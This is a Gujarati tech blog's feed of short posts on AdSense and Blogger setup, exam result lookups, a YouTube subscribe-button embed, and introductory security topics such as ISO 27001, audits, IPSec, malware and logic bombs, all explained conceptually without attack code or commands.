All In Gujarati Tech

Configure a YouTube subscription Button

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:36:00 +0000

Subscribe to your YouTube channel with one click

First of all write https://developers.google.com/youtube/ in URL bar Than go to Add more YouTube features and than you will see Subscribe Buttons Than Click on ADD A BUTTON.

And Than You Will See Following type of option ,The tool below lets you configure an embedded subscription button. You can set the button's display options, preview the button, and copy the code needed to insert that button on your page.

And Than Copy This Type of Code which is show under Subscription Button Preview and Paste this code in your website or blog etc.

<script src="https://apis.google.com/js/platform.js"></script>

<script>

function onYtEvent(payload) {

if (payload.eventType == 'subscribe') {

// Add code to handle subscribe event.

} else if (payload.eventType == 'unsubscribe') {

// Add code to handle unsubscribe event.

}

if (window.console) { // for debugging only

window.console.log('YT event: ', payload);

}

}

</script>

<div class="g-ytsubscribe" data-channel="GoogleDevelopers" data-layout="default" data-count="default" data-onytevent="onYtEvent"></div>

For More Details Watch Following Videos :

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How To Verify Address In Adsence Account - 2019

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:34:00 +0000

How to Verify your Address in google Adsense Account - 2018

Hi Friend Welcome ........

This Is Which Is Tech You How To Verify Address In Adsence Account.

Go To Blogger.com , Login With Username And Password in Blogger.com.

Click On Earnings

Click On Visit Adsence For Details Of My Earnings.

When You Click On Visit Adsence For Detail Of My Earning Than Open New Tab For Adsence Account, Here Login Adsence Account.

Here Click On Ball Icon Which Is Located Right Side, If Here Can't See Notification Like " Your Payment Are Currently On Hold Because You Have Not Verified Your Address. " Than Go to Setting ---> Personal Setting ---> Account Information ---> Click On Verify Address. Now Same Process As Following.........

If See Notification Than Click On Action Button.

Go To Enter Your PIN.

Here Verify Your Address by Enter Your PIN As Provided in The Card Sent To You By Google.

How To Verify Address In Adsence Account

Note : - Please Friends Be Care full Because If Your PIN Is Entered Incorrectly Three Times, Ad Serving Will Be Suspended Your Account.

Than SUBMIT PIN.

Your Address Successfully Verified.

Be Connected With Us. Why Are You Connect With Us. Because In Next Videos We Will Tech You "How To Configure Payment Threshold Method" Means Connect Your Adsence Account With Bank Account To Transfer Payment.

So That Click On Subscribe Our YouTube Channel. And Click On Bal Icon For Update New Videos And Also Visit kingmobile1.blogspot.com.

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TIERS OF AN ISMS & HISTORY OF ISO 27001 & LOGICAL SECURITY AUDIT

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:33:00 +0000

HISTORY OF ISO 27001

ISO 27001 is the first of a planned series of standards covering information security. It was published by the International Organization for Standardization (ISO) on 15 October 2005 essentially replacing the old BS7799-2 standard. It is the specification for Information Security Management System, an Information Security Management System. BS7799 itself was a long standing standard, first published in the nineties. It is this against which certification is granted. Today in excess of a thousand certificates are in place, across the world.

ISO 27001 enhanced the content of BS7799-2 and harmonized it with other standards. A scheme has been introduced by various certification bodies for conversion from BS7799 certification to ISO27001 certification. Essentially, ISO/IEC 27001 defines an Information Security Management System (ISMS) and complements the ISO/IEC 17799 'code of practice' standard, itself first published as BS7799-1.

Series Of ISO Models As Following :

TIERS OF AN ISMS (TYPICALLY)

Policy & Guidance-Applies to all staff

Email & internet

Handling information

Reporting incidents/weaknesses

Controls & Procedures - Applies to specific functions

Data back up, AV, build, change control, firewalls-IT

Recruitment, training, staff starter/leaver-HR

Compliance with contracts/SLA’s, legislation-Legal

Maintaining & monitoring ISMS.

Security Forum-Each function/Dept represented

Internal audits

Investigating and learning from security incidents/weaknesses

Security Officer

The ISMS will change organically with the organization to ensure continual improvement.

LOGICAL SECURITY AUDIT

The first step in an audit of any system is to seek to understand its components and its structure. When auditing logical security the auditor should investigate what security controls are in place, and how they work. In particular, the following areas are key points in auditing logical security :

1) PASSWORDS : Every company should have written policies regarding passwords, and employee's use of them. Passwords should not be shared and employees should have mandatory scheduled changes. Employees should have user tights that are in line with their job functions. They should also be aware of proper log on/log off procedures. Also helpful are security token, small devices that authorized users of computer programs or networks carry to assist in identity confirmation. They can also store cryptographic keys and biometric data. The most popular type of security token [RSA's SecurID] displays a number which changes every minute. Users are authenticated by entering a personal identification number and the number on the token.

2) TERMINATION PROCEDURES : Proper termination procedures so that old employees can no longer access the network. This can be done by changing passwords and codes. Also, all id cards and badges that are in circulation should be documented and accounted for.

3) SPECIAL USER ACCOUNTS : Special User Accounts and other privileged accounts should be monitored and have proper control in place.

4) REMOTE ACCESS : Remote Access is often a point where intruders can enter a system. The Logical security tools used for remote access should be very strict. Remote access should be logged.

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NETWORK VULNERABILITIES || AUDIT PLANNING || PREPARATION

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:32:00 +0000

NETWORK VULNERABILITIES

Interception : Data that is being transmitted over the network is vulnerable to being intercepted by an unintended third party who could put the data to harmful use.

Availability : Networks have become wide-spanning, crossing hundreds or thousands of miles which many rely on to access company information, and lost connectivity could cause business interruption.

Access/Entry Point : Networks are vulnerable to unwanted access. A weak point in the network can make that information available to intruders. It can also provide an entry point for viruses and Trojan horses.

Controls

1) Interception Controls : Interception can be partially deterred by physical access controls at data centers and officers, including where communication links terminate and where the network wiring and distributions are located. Encryption also helps to secure wireless networks.

2) Availability Controls : The best control for this is to have excellent network architecture and monitoring. The network should have redundant paths between every resource and an access point and automatic routing to switch the traffic to the available path without loss of data or time.

3) Access/Entry Point Controls : Most network controls are put at the point where the network connects with external network. These controls limit the traffic that pass through the network. These can include firewalls, intrusion detection systems, and antivirus software.

The auditors should ask certain questions to better understand the network and its vulnerabilities. The auditor should first access what the extent of the network is and how it is structured. A network diagram can assist the auditor in this process. The next question an auditor should ask is what critical information this network must protect. Things such as enterprise systems, mail servers, web servers, and host applications accessed by customers are typically areas of focus. It is also important to know who has access and to what parts. Do customers and vendors have access to systems on the network? Can employees access information from home? Lastly the auditor should access how the network is connected to external networks and how it is protected. Most networks are at least connected to the internet, which could be a point of vulnerability. These are critical questions in protecting network.

AUDIT PLANNING & PREPARATION

The auditor should be adequately educated about the company and its critical business activities before conducting a data center review. The objective of the data center is to align data center activities with the goals of the business while maintaining the security and integrity of critical information and processes. To adequately determine if whether or not the client's goal is being achieved, the auditor should perform the following before conducting the review:

Meet with IT management to determine possible areas of concern

Review the current IT organization chart

Review job descriptions of data center employees

Research all operating systems, software applications and data center equipment operating within the data center

Review the company's IT policies and procedures

Evaluate the company's IT budget and systems planning documentation

Review the data center's disaster recovery plan.

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IT SECURITY SERVICE LIFE CYCLE & ESSENTIAL TERMINOLOGIES

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:32:00 +0000

IT SECURITY SERVICE LIFE CYCLE

The IT security services life cycle provides IT security decision makers and managers with a six-phase process by which they can select, implement, and manage IT security services. This Post details the various life cycle phases and the issues and decisions within each phase. As figure illustrates, the security services life cycle has both a linear and iterative component. It proceeds linearly from initiation to implementation to closeout, but the assessment, solution, and operations phases must continually occur for an IT security service to succeed.

The SIX phases are described as follows:

Phase 1: Initiation - The need to initiate the services life cycle is recognized.

Phase 2: Assessment - Before decision makers can implement a service and select a service provider, an accurate portrait of the current environment must be developed.

Phase 3: Solution - decision makers choose the appropriate solution from the viable options identified during the assessment phase.

Phase 4: Implementation - the service and service provider are implemented during the implementation phase.

Phase 5: Operations - the service is operational, the service provider is fully installed, and constant assessment of the service level and performance is made.

Phase 6: Closeout - the environment changes, the need for the service diminishes, or performance deficiencies are noted necessitating a replacement or termination of the IT security service.

ESSENTIAL TERMINOLOGIES

Threat : An action or event that might compromise security. A treat is a potential violation of security
Vulnerability : Existence of a weakness, design, or implementation error that can lead to an unexpected and undesirable event compromising the security of the system
Target Of Evaluation : An IT system, product, or component that is identified - subjected to require security eveluation
Attack : An assault on the system security that is derived from an intelligent threat. An attack is any action that violates security
Exploit : A defined way to breach the security of an IT system through vulnerability

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INFORMATION SECURITY MANAGEMENT SYSTEM

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:31:00 +0000

INFORMATION SECURITY MANAGEMENT SYSTEM

IDEA BEHIND THE AUDIT

Security Audits are an essential component to an organization's security strategy. Apart from security, they enable staff to meet regulatory requirements, validate that existing controls protect business functions, and determine when new controls are required. Unlike an audit in which the auditor uses a checklist and pen to determine compliance, a security audit requires having an understanding of the organization's business functions and objectives -- to really dig deep within systems and networks. According to the Information Systems Audit and Control Association, in a security audit approach, auditors are not just relying on security; they also are relying on internal and operational controls as well as knowledge of the company or the business. Thus, a security-based audit provides a more thorough assessment of security risks and enables managers to make informed decisions based on their risk appetites. Aligning enterprise IT decisions and practices with the level of acceptable risk in an organization is the driver for beginning a security audit.

SECURITY PERIMETER

The security perimeter is both a conceptual and physical boundary within which your security audit will focus, and outside of which your audit will ignore. You ultimately decide for yourself what your security perimeter is, but a general rule of thumb is that the security perimeter should be the smallest boundary that contains the assets that you own and/or need to control for your own company's security.

NECESSARY EVIL

The security audit is a practice that could best be filed under the "necessary evil" category. While no business owner, executive or IT manager relishes the thought of enduring an end-to-end security examination, it's generally understood that an audit is the best and only way to fully ensure that all of a business's security technologies and practices are performing in accordance with established specifications and requirements.

A BOON FOR THE ORGANIZATION

Security audits are typically conducted for the purposes of business-information security, risk management and regulatory compliance. If performed correctly, a security audit can reveal weaknesses in technologies, practices, employees and other key areas. The process can also help companies save money by finding more efficient ways to protect IT hardware and software, as well as by enabling businesses to get a better handle on the application and use of security technologies and processes. As bothersome as security audits are, business owners, executives and IT managers who truly understand them realize that periodic examinations can actually help ensure that security strategies are in sync with overall business activities and goals.

AFTERMATH AND FOLLOW-UP

Shortly after the audit concludes, the auditors will usually brief a company's owners, executives and managers on what they've discovered and if any immediate remedial action is necessary. A few days or weeks later, the auditors usually issue a formal report. Stakeholders can use both the meeting and the report as opportunities to gain insight into their security practices and make improvements. While a security audit is usually a specific event, IT security is an ongoing process. As a business designs, deploys and maintains its security policies, technologies and practices, it should strive to maintain a constant state of preparedness that will allow it to pass a security audit at any given moment.

TOOLBOX FOR SECURITY AUDIT

Security review and security audit is an essential task for all organizations. It is no less than the protection of critical assets. However, with the growing complexity of IT infra-structure and the diverse range of platforms, this can be extremely difficult. Have you really got the expertise in-house to fully review your various systems? What level of assurance do you have that you have not missed something, however knowledgeable your staff? How thorough is your audit or review in reality? To help address these concerns, and for simple cost effectiveness, more and more organizations are now employing toolkits as the basis of their reviews. Our Security Audit Toolbox has brought together a collection of the most widely used and most trusted audit toolkits. For convenience, these can all be downloaded on purchase.

BENEFITS OF COMPLIANCE

Improved effectiveness of Information Security

Market Differentiation

Provides confidence to trading partners, stakeholders, and customers (certification demonstrates 'due diligence')

The only standard with global acceptance

Potential lower rates on insurance premiums

Compliance with mandates and laws (e.g., Data Protection Act, Communications Protection Act)

Reduced liability due to unimplemented or enforced policies and procedures

Senior Management takes

Ownership of Information Security

Standard covers IT as well as organization, personnel, and facilities

Focused staff responsibilities

Independent review of the Information Security Management System

Better awareness of security

Combined resources with other Management Systems (eg. QMS)

Mechanism for measuring the success of the security controls

CRITICAL SUCCESS FACTORS

Security policy that reflects business objectives.

Implementation approach consistent with company culture.

Visible support and commitment from management.

Good understanding of security requirements, risk assessment and risk management.

Effective marketing of security to all managers and employees.

Providing appropriate training and education.

A comprehensive and balanced system of measurement which is used to evaluate performance in information security management and feedback suggestions for improvement.

Use of automated Security Policy Management tool.

CONTROL OBJECTIVES AND CONTROLS IN ISO 27001

The following are the minimum control objectives and controls in ISO 27001, and they align directly with those in ISO 17799. Minimally, these objectives and controls shall be a part of the ISMS. Additional objectives and controls may be necessary, depending on the organization’s requirements.

PREPARING FOR CERTIFICATION

The steps involved in preparing for ISO 27001 certification are-:

A business case is developed: Before embarking on the certification trail, organizations must carefully evaluate the costs and benefits of having it. If the overhead of obtaining the certification outweighs the potential benefits to the organization, then it may not make sense to go after it, though using the standard as a framework can still be valuable.

Management is forced to take an active role: The requirements of this standard not only make management accountable, but also ensure that they stay involved in the risk management process. If an organization creates controls that are not enforced, or performs a risk assessment without properly responding, management will be held liable. Hence, management should help create realistic controls and make sure that risk assessments are addressed in a timely fashion.

PREPARING FOR CERTIFICATION

The security scope is carefully defined: The scope should identify not only the exclusions, but also the inclusions. ISO 27001 provides the controls required to address generic information security risks. It may not contain controls that address all of the threats faced by your organization; only a careful risk assessment can identify these inclusions. Conversely, not all controls may apply to an organization. It's important, however, to determine each guideline's applicability and document what is left behind.

Measurement metrics are defined: The standard mandates the development and maintenance of information security controls, but appropriate measurements for each control are what make these controls effective. The remote access policy, for example, may stipulate that no remote administration will be performed for critical systems, but it's important to translate the policy into quantifiable metrics: How many people tried to access critical systems? How many succeeded? Were there any exceptions granted? What percentage of remote access users have access to these systems?

A realistic certification timeline is set: Getting certified as quickly as possible should not be the goal. A certification plan should be developed based on the company's culture and maturity. Organizations should initially define a narrow scope and expand to other areas of the organization over time.

SYSTEM ADMINISTRATION

This consists of 4 key steps:

Establish Effective Security Configurations

Maintain Software

Detect Security Breaches

Respond Intelligently to Incidents

DETECT SECURITY BREACHES

Quick response to a security breach(or a lapse in security) is most valuable and economical.

Intrusion detection systems (IDS) can be set up to check for such breaches.

Total cost of acquisition, tuning and management can be high.

But cost of undetected & uncontrolled penetration can be much higher.

ASSET PROTECTION

The protection of assets can be broken down into two parts:-

1.Approving security changes.

2.Monitoring the security of the network.

FRAMEWORK 1 : DEFENSE IN DEPTH (DID)

Defense in depth is the concept of protecting a computer network with a series of defensive mechanisms such that if one mechanism fails, another will already be in place to thwart an attack.

It is originally a military strategy which seeks to delay rather than prevent the advance of an attacker, buying time by yielding space.

In terms of computer network defense, defense in depth measures should not only prevent security breaches, but buy an organization time to detect and respond to an attack, therefore reducing and mitigating the breach's impact.

For example, to protect against an unskilled hacker or against somebody who does not have much knowledge about the organization’s networks, the first layer of defense would be a firewall. Firewalls are can be extremely effective, but at the same time they cannot be relied on as the only means of securing a network perimeter. Network based intrusion detection systems (IDS) can provide the other layer of perimeter defense. A network based IDS can identify attacks that could otherwise go undetected, will sometimes take defensive measures such as interacting with the firewall to stop certain traffic, alert an administrator of a problem and can help identify the vulnerability that was exploited in the event of a successful attack.

FRAMEWORK 2 : OCTAVE

OCTAVE stands for Operationally Critical Threat, Asset and Vulnerability Evaluation

Devloped and launched in 2001

Currently used by US military and a growing number of larger organisations

Concept of OCTAVE : OCTAVE is a riskbased strategic assessment and planning technique for security. OCTAVE is self-directed, meaning that people from an organization assume responsibility for setting the organization’s security strategy.

OCTAVE is targeted at organizational risk and focused on strategic, practice-related issues.

When applying OCTAVE, a small team of people from the operational (or business) units and the information technology (IT) department work together to address the security needs of the organization, balancing the three key aspects of operational risk, security practices, and technology.

While OCTAVE is meant for large organizations, a second process OCTAVE-S was developed and tested for small organizations, ranging from 20 to 80 people. It is designed for organizations that can empower a team of three to five people to conduct all evaluation activities, without the need for formal data-gathering activities.

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how can work IPSec VPN

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:30:00 +0000

IPSec VPN

IPSec (Internet Protocol Security) is a framework for a set of protocols for security at the network or packet processing layer of network communication. Earlier security approaches have inserted security at the application layer of the communications model. IPSec is said to be especially usefull for implementing virtual private networks and for remote user access through dial-up connection to private networks. A big advantage of IPSec is that security arrangements can be handled without requiring change to individual user computers. Cisco has been a leader in proposing IPSec as a standard (or combination of standards and technologies) and has included support for it in its network routes. IPSec provides two choices of security service: authentication Header (AH), Which essentially allows authentication of the sender of data, and Encapsulating Security Payload (ESP), which supports both authentication of the sender and encryption of data as well. The specific information associated with each of these services is inserted into the packet in a header that follows the IP packet header. IPSec is a successor of the ISO standard Network Layer Security Protocol (NLSP). NLSP was based on the SP3 protocol that was published by NIST, but designed by the Secure Data Network System project of the National Security Agency (NSA).

The IPSec suite is a framework of open standards. IPSec uses the following protocols perform various functions: A security association (SA) set up by Internet Key Exchange (IKE and IKEv2) or Kerberized Internet Negotiation of Keys (KINK) by handling negotiation of protocols and algorithms and to generate the encryption and authentication keys to eb used by IPSec. Authentication Header (AH) to provide protection against replay attacks. Encapsulating Security Payload (ESP) to provide confidentiality, data origin authentication, connection-less integrity, an anti-replay service (a form of partial sequence integrity), and limited traffic flow confidentiality.

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SPECIFIC TOOLS USED IN NETWORK SECURITY

noreply@blogger.com (Weekly Highlight) — Wed, 16 Oct 2019 20:30:00 +0000

SPECIFIC TOOLS USED IN NETWORK SECURITY

Network Security is achieved by various tools including firewalls and proxy servers, encryption, logical security and access controls, antivirus software, and auditing systems such as log management.

Firewalls are a very basic part of network security. They are often placed between the private local network and the internet. Firewalls provide a flow through for traffic in which it can be authenticated. monitored, logged, and reported. Some different types of firewalls include : Network layer firewalls, screened subnet firewalls, packet filter firewalls, dynamic packet filtering firewalls, hybrid firewalls, transparent firewalls, and application-level firewalls.

Proxy servers hide the true address of the client workstation and can also act as a firewall. Proxy server firewalls have special software to enforce authentication. Proxy server firewalls act as a middle man for user requests.

Antivirus software programs such as Avast and Symantec software locate and dispose of malicious content. These virus protection programs run live updates to ensure they have the latest information about known computer viruses.

Logical Security includes software safeguards for an organization's systems, including user ID and password access, authentication, access rights and authority levels. These measures are to ensure that only authorized users are able to perform actions or access information in a network or a workstation.

Auditing systems, track and record what happens over an organization's network. Log Management solutions are often used to centrally collect audit trails from heterogeneous systems for analysis and forensics. Log management is excellent for tracking and identifying unauthorized users that might be trying to access the network, and what authorized users have been accessing in the network and changes to user authorities. Software that record and index user activities within window sessions such as ObserveIT provide comprehensive audit trail of user activities when connected remotely through terminal services, Citrix and other remote access software.

According to a 2006 survey of 3243 NMAP users by Insecure.Org, NESSUS, WIRESHARK, and SNORT some top rated network security tools. According to the same survey, the BackTrack Live CD is the top rated information Security auditing and penetration testing distribution.

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AdSense Alternatives For Blog || YouTube || Website

noreply@blogger.com (Weekly Highlight) — Tue, 27 Aug 2019 23:52:00 +0000

New AdSense Alternatives For Blog - YouTube - Website

Hello Friends, Welcome All In Gujarati Tech Blog. Today We are Discuss About Adsence Alternative For Blog, YouTube or Website.

Now a Days Google is update very Strict Policy For Adsence So That Many people are lost Adsence Account But don't worry here Adsence alternative are available so Relax.

We are introduce BULLET PROFIT Ads Network For Your Blog, Website or YouTube.

These best AdSense alternative for YouTube that publishers need to check and try for all kind of reasons to make money online. High Paying Ads Network.

BulletProfit provides online platform for advertiser and Advertiser account. So that if You want to Publish Your Advertise than Configure and Publish Your Ads.

You are Publisher than configure as a Publisher account and Monetize your website content using our publisher platform. Our system ensures maximum revenue possible at any given time by rendering ads from highest bidders on your websites. AdSense alternatives for YouTube in 2019

Best Ads Network In India is BulletProfit.com

Click Here To Join BULLET PROFIT

How To Open Adsence Alternative Account In BulletProfit.com

Now Go BulletProfit.com.
Read Advertiser and Publisher Article.
Click on Login Button and than Press Register.

Click On LOGIN

Click On Register Button

Here Open User Registration Windows, Fill Up User Data here As Under.

User Registration For Adsence Alternative

When fill all data than click on CAPTCHA and Hit REGISTER button.
Now LOGIN Using USER ID and PASSWORD.

Now Add You Site Using Navigation Button - Publisher Home => Sites => Add Site

Add Site In BulletProfit Ads Account

After One Hours Your Site is Active.
Now Create Ad Code For Your Site or Blog Ya YouTube. - Click On Ad Code => Create

Create Ad Code For Your Site

Now Configure Your Payment Method As Following - Payouts => Configure

PayOuts of BulletProfit

Minimum Payout is 5$ and Every Week Payment is realize.

AdSense alternatives for blog?

Ans:- BulletProfit.com

AdSense alternatives for YouTube?

Ans :- BulletProfit.com

AdSense alternative for YouTube or Website 2019?

Ans :- BulletProfit.com

One Time Use This Ads Network Than You will Say Awesome Ads Network In India.

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Police Inspector Exam Time Change

noreply@blogger.com (Weekly Highlight) — Sat, 29 Jun 2019 18:10:00 +0000

Police Inspector Exam Time Change

Legal Notice is : Click Here

Police Inspector Exam Time Change

All The Best All Of You

How to enable blogger custom ads.txt Monetization?

noreply@blogger.com (Weekly Highlight) — Wed, 05 Jun 2019 21:30:00 +0000

How do I Integrate The ads.txt file Using Blogger Platform?

Welcome To All In Gujarati Tech, We will Back again with new Article which is about How To Enable Blogger Custom ads.txt Monetization? So Let's Do It.

Please read the following instructions:

Sign in to Blogger.

Blogger Sign in

In the top left, click the Down arrow.

Select Blog Name

Click the blog you want to set up an ads.txt file on.

On the left, click Settings.

Under “Settings,” click Search preferences.

Search preferences

Under “Monetization,” find “Custom ads.txt” and click Edit.

Click Yes.

go to https://your blog address/ads.txt Than Copy Code and Paste It.

Copy Code

Paste Your Code and Save

Click Save settings.

Copy the lines that Infolinks has provided and paste them in the text box. The lines can be found here: https://publishers.infolinks.com/members/new

Optional: To check the content of your ads.txt file, go to https://your blog address/ads.txt. (As Under Image)

Blogger ads.txt file check

Please notify us once you have added the ads.txt file so that we can confirm that it was done correctly.

Feel free to contact us if you need assistance or have any further questions – totalgujarati07@gmail.com

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What's Purpose of Audits in Cyber Security

noreply@blogger.com (Weekly Highlight) — Tue, 04 Jun 2019 13:00:00 +0000

Purpose of Audits

" If Your Information Is Not Safe,The Future Of Your Business Is Not Secure "

Purpose of Audits

Rapid and dramatic advances in information technology (IT), while offering tremendous benefits, have also created significant and unprecedented risks to government operations. Federal, state, and local governments depend heavily on information systems (IS) security measures to avoid data trampering, fraud, inappropriate access to and disclosure of sensitive information, and disruptions in critical operations. These risks are expected to only continue to escalate as wireless and other technologies emerge. Government auditors, to be effective instruments of accountability, need to be able to evaluate IS security and offer recommendations for reducing the security risk to an acceptably low level. Further, the growing importance of IT in performing daily operational activities, along with the elimination of paper-based evidence and trails, demands that auditors consider the effectiveness of IT controls during the course of financial and performance audits.

To do so, auditors must acquire and maintain the appropriate resources and skill sets - a daunting challenge in an era of rapid evolution and deployment of new information technology. Likewise, government audit organizations need to take stoke of their IS security audit capabilities and ensure that strategies exist for their continued development and enhancement and auditors from local governments in cooperation with staff of the United States. These include planning, developing a strategy, implementing the capability, and assessing results.

Security Auditing Objectives

To ensure confidentiality, integrity and availability of data.
To protect hardware, software, and data from the environmental threats.
For proper management, design, performance and reliability of components.

" Until And Unless You Assess Security Standards and Policies, It is Impossible to Maintain Security Standards. "

Purpose of Audits in Cyber Security

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What is Malware?

noreply@blogger.com (Weekly Highlight) — Tue, 04 Jun 2019 13:00:00 +0000

Malwares

Introduction To Malwares

Malware is a collective term for any malicious software which enters system without authorization of user of the system. The term is created from merging the words 'MALICIOUS' and ' SOFTWARE'. Malware is a very big threat in today's computing world. It continues to grow in volume and evolve in complexity. As more and more organizations try to address the problem, the number of websites distributing the malware is increasing at an alarming rate and is getting out of control. Most of the malware enters the system while downloading files over Internet.

What is Malware?

Once the malicious software finds its way into the system, it scans for vulnerabilities. of operating system and perform unintended actions on the system finally slowing down the performance of the system.

Malware has ability to infect other executable code, data/system files, boot partition of drives, and create excessive traffic on network leading to denial of service. When user execute the infected file; it becomes resident in memory and infect any other file executed afterwards. If operating system has a vulnerability, malware can also take control of system and infect other systems on network. Such malicious programs (virus is more popular) are also known as parasites and adversely affect the performance of machine generally resulting in slow-down.

Some malware are very easy to detect and remove through antivirus software. These antivirus software maintains a repository of virus signatures i.e binary pattern characteristic of malicious code. Files suspected to be infected are checked for presence of any virus signatures. This method of detection worked well until the malware writer started writing polymorphic and metamorphic malware. These variant of malware avoid detection through use of encryption techniques to thwart signature based detection. Security products such as virus scanners look for characteristics byte sequence to identify malicious code. The quality of the detector is determined by the techniques employed for detection. A good malware detection technique must be able to identify malicious code that is hidden or embedded in the original program and should have some capability for detection of yet unknown malware. Commercial virus scanners have very low resilience to new attacks because malware eriters continuously make use of new obfuscation methods so that the malware could evade detection.

" Malware are malignant software's. It is designed to damage computer systems without the knowledge of the owner using the system. Software's from reputable vendors also contain malicious code that affects the system or leaks information's to remote servers. Malware's includes computer viruses, spyware, adware, rootkits, Trojens, Dialers etc. Malware detection methods like signature based detection, reverse engineering of obfuscated code, to detect malicious nature. "

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What is Logic Bomb?

noreply@blogger.com (Weekly Highlight) — Tue, 04 Jun 2019 12:00:00 +0000

Types Of Malware : What is Logic Bomb?

A logic bomb is a program, or portion of a program, which lies dormant until a specific piece of program logic is activated. In this way, a logic bomb is very analogous to a real-world land mine.

The most common activator for a logic bomb is a Date. The logic bomb checks the system date and does nothing until a pre-programmed date and time is reached. At that point, the logic bomb activates and executes it's code.

Logic Bomb - Types Of Malware

A logic bomb could also be programmed to wait for a certain message from the programmer. Eg: The logic bomb could check a web site once a week for a certain message. When the logic bomb sees that message, or when the logic bomb stops seeing that message, it activates and executes it's code. Because a logic bomb does not replicate itself, it is very easy to write a logic bomb program. This also means that a logic bomb will not spread to unintended victims. In some ways, a logic bomb is the most civilized programmed threat, because a logic bomb must be targeted against a specific victim.

A logic bomb can also be programmed to activate on a wide variety of other variables, such as when a database grows past a certain size or a users home directory is deleted.

Writing a Logic Bomb program is similar to creating a Trojan Horse. Both also have about the same ability to damage data, too. Logic Bombs include a timing devise so it will go off at a particular data and time. The Michelangelo virus is embedded in a logic bomb, for example,Other virus programs often include coding similar to that used in logic bomb, but the bombs can be very destructive on their own, even if they lack the ability of the virus to reproduce.

Logic Bomb are usually timed to do maximum damage. That means the logic bomb is a favored device for revenge by disgruntled former employees who can set it to activate after they have left the company. One common trigger occurs when the dismissed employee's name is deleted from payroll records. On one occasion, a student left a logic bomb timed to explode and wipe out his university's records well after he had collected his degree and was long gone. This example illustrates the pernicious nature of logic bombs which can be written literally decades before they explode. The built-in delay has been used to hold software " HOSTAGE " until a ransom is paid. These ransom demands are usually announced via a message to the user warning them to " pay up and we will tell you how to turn off the bomb ". Logic Bombs can also be insurance for suppliers or consultants who set up a computer system, causing data to be destroyed if their bills are not paid.

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How Can Find Vulnerability Using Malware?

noreply@blogger.com (Weekly Highlight) — Tue, 04 Jun 2019 12:00:00 +0000

Vulnerability To Malware

In This context, as throughout, it should be borne in mind that the "system" under attack may be of various types, e.g. a single computer and operating system, a network or an application. Various factor make a system more vulnerable to malware:

Homogeneity: e.g. when all computers in a network run the same operating system; upon exploiting one, can exploit them all.

Weight Of Numbers : Simply because the vast majority of existing malware is written to attack Windows systems, then Windows systems are more vulnerable to succumbing to malware attacks regardless of the security strengths are more vulnerable of Windows itself.

Defects : Malware using defects in the operating system design.

Unconfirmed code : Code from a floppy disk, CD-ROM or USB device may be executed without the user's permission.

Over-privileged users : Some systems allow all users to modify their internal structures. This was the standard operating procedure for early microcomputer and home computer systems, where there was no distinction between an Administration or root, and a regular user of the system.

Over-privileged code : some systems allow code executed by a user to access all rights of that user. Also standard operating procedure for early microcomputer and home computer systems.

USE OF THE SAME OPERATING SYSTEM

An oft-cited cause of vulnerability of networks is consistent use of the same operating system. For example, Microsoft Windows or Mac OS X has such a large share of the market that concentrating on either could enable an exploited vulnerability to subvert a large number of systems. Instead, introducing diversity, purely for the sake of robustness, could increase short-term costs for training and maintenance. However, having a few diverse nodes would deter total shutdown of the network, and allow those nodes to help with recovery of the infected nodes. Such separate, functional redundancy could avoid the cost of a total shutdown.

SOFTWARE BUGS

Most systems contain bugs, or loopholes, which may be exploited by malware. A typical example is the buffer-overrun weakness, in which an interface designed to store data, in a small area of memory, allows the caller to suply more data than will fit. This extra data then overwrites the interface's own executable structure past the end of the buffer and other data. In this manner, malware can force the system to execute malicious code, by replacing legitimate code with its own payload of instructions or data values copied into live memory, outside the buffer area.

Originally, PCs had to be booted from floppy disks. Until recently it was common for computer to boot from an external device by default boot device. This meant that a live floppy disk or CD could subvert the computer during booting and boot into a modified operating system.

OVER-PRIVILEGED USERS

In some systems, non-administrator users are over-privileged by design, in the sense that they are allowed to modify internal structures of the system. In some environments, users are over-privileged because they have been inappropriately granted administrator or equivalent status. This is primarily a configuration decision, but on Microsoft Windows systems the default configuration is to over-privilege the user.

As privilege escalation exploits have increased this priority is shifting for the release of Microsoft Windows Vista. As a result, many existing applications that require excess privilege may have compatibility problems with Vista. However, Vista's User Account Control feature attempts to remedy applications not designed for under-privileged users, acting as a crutch to resolve the privileged access problem inherent in legacy applications.

Malware, running as over-privileged code, can use this privilege to subvert the system. Almost all currently popular operating systems, and also many scripting applications allow code too many privileges, usually in the sense that when a user executes code, the system allows that code all rights of that user. This makes users vulnerable to malware in the from of e-mail attachments, which may or may not be disguised.

ANTI-MALWARE STRATEGIES

As Malware attacks become more frequent, attention has begun to shift viruses and spyware protection, to malware protection, and programs that have been specifically developed to combat Malware.

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How to check Gujarat SSC Result 2019?

noreply@blogger.com (Weekly Highlight) — Tue, 21 May 2019 00:40:00 +0000

How to check Gujarat SSC Result 2019?

Go to the official site of GSEB.

Find and click the GSEB SSC Result 2019 tab on the home page.

Enter your seven-digit seat number and then submit.

Your GSEB SSC Result 2019 will be displayed.

Kindly take a printout for your future reference.

Check Your 10th Result Here

How To Check Gujarat Board Class 10th Results Via SMS?

noreply@blogger.com (Weekly Highlight) — Tue, 21 May 2019 00:33:00 +0000

How To Check Gujarat Board Class 10th Results Via SMS?

How to check Gujarat Board Class 10th SSC results via SMS? :: 10th Result 2019: How to check Gujarat Board Class 10th results via SMS.

GSEB 10th Result 2019 result through SMS:

Type:- SSC (space) Seat number and send it to 56263.

Example : SSC C717116 Than Send 56263

You Will Get GSEB result via SMS in Your Mobile.

Check Your Result Here

Gseb.org GSEB X SSC Results 2019: How to check Gujarat Board SSC 10th Results on your mobile via SMS and online at Gseb.org

Gujarat 10th Result 2019: How to check Gujarat Board Class 10 SSC results via SMS

GSEB 10th Result 2019 result through SMS:

10th Exam Result 2019

noreply@blogger.com (Weekly Highlight) — Mon, 20 May 2019 22:22:00 +0000

SSC 10th Exam Result 2019

- : Official Website Click Here : -

IF YOU ARE FACING ANY PROBLEM THAN COMMENT ME I WILL HELP YOU AS SOON AS POSSIBLE THANK YOU SO MUSH

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10th Result 2019

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Gujarat 10th Result 2019: Gujarat Board to Announce Class 10 SSC Results Today at gseb.org

noreply@blogger.com (Weekly Highlight) — Mon, 20 May 2019 21:44:00 +0000

